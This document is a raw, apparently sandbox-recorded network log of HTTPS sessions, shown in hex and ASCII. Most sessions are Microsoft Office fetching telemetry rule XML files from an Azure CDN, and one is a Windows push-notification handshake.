2024-11-23 08:16:41 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:41 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081641Z-174c587ffdfcb7qhhC1TEB3x7000000002ng00000000h3fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:41 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081641Z-174c587ffdf8fcgwhC1TEBnn7000000002x0000000001uh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49782	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 45 5a 61 30 4b 46 72 5a 30 75 4e 69 4a 77 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 65 32 30 38 39 39 63 63 64 31 64 31 33 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5EZa0KFrZ0uNiJw1.1Context: eee20899ccd1d13b
2024-11-23 08:16:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 08:16:42 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 45 5a 61 30 4b 46 72 5a 30 75 4e 69 4a 77 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 65 32 30 38 39 39 63 63 64 31 64 31 33 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 43 37 72 73 47 75 61 54 45 6f 77 67 4a 76 6a 71 2f 76 31 47 6e 4e 4b 51 33 2b 2f 58 48 69 63 33 5a 55 7a 44 34 6c 65 71 6a 67 39 72 61 79 53 76 46 6d 4f 63 4a 32 43 6c 52 45 31 67 7a 36 39 62 65 6c 39 4d 2f 45 6f 74 33 70 77 76 32 48 61 31 74 64 39 71 48 6a 75 63 6f 42 56 32 49 45 46 50 62 65 38 63 4f 49 6f 4d 2f 4b 4b 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5EZa0KFrZ0uNiJw1.2Context: eee20899ccd1d13b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQC7rsGuaTEowgJvjq/v1GnNKQ3+/XHic3ZUzD4leqjg9raySvFmOcJ2ClRE1gz69bel9M/Eot3pwv2Ha1td9qHjucoBV2IEFPbe8cOIoM/KK4
2024-11-23 08:16:42 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 45 5a 61 30 4b 46 72 5a 30 75 4e 69 4a 77 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 65 32 30 38 39 39 63 63 64 31 64 31 33 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5EZa0KFrZ0uNiJw1.3Context: eee20899ccd1d13b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 08:16:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 08:16:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 2b 53 59 57 43 4c 64 57 6b 75 7a 45 6e 47 68 41 4f 4f 53 48 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: D+SYWCLdWkuzEnGhAOOSHw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:43 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081643Z-174c587ffdf9xbcchC1TEBxkz400000002h00000000078c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:43 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081643Z-15b8b599d88phfhnhC1TEBr51n00000002ug000000004yh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081643Z-178bfbc474bxkclvhC1NYC69g4000000047g000000001ay0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:43 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:43 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081643Z-178bfbc474bw8bwphC1NYC38b4000000040g0000000088zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:43 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081644Z-174c587ffdftv9hphC1TEBm29w00000002m0000000008g55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081646Z-178bfbc474bfw4gbhC1NYCunf4000000044g00000000c4b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081646Z-15b8b599d88s6mj9hC1TEBur3000000002dg00000000cr16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 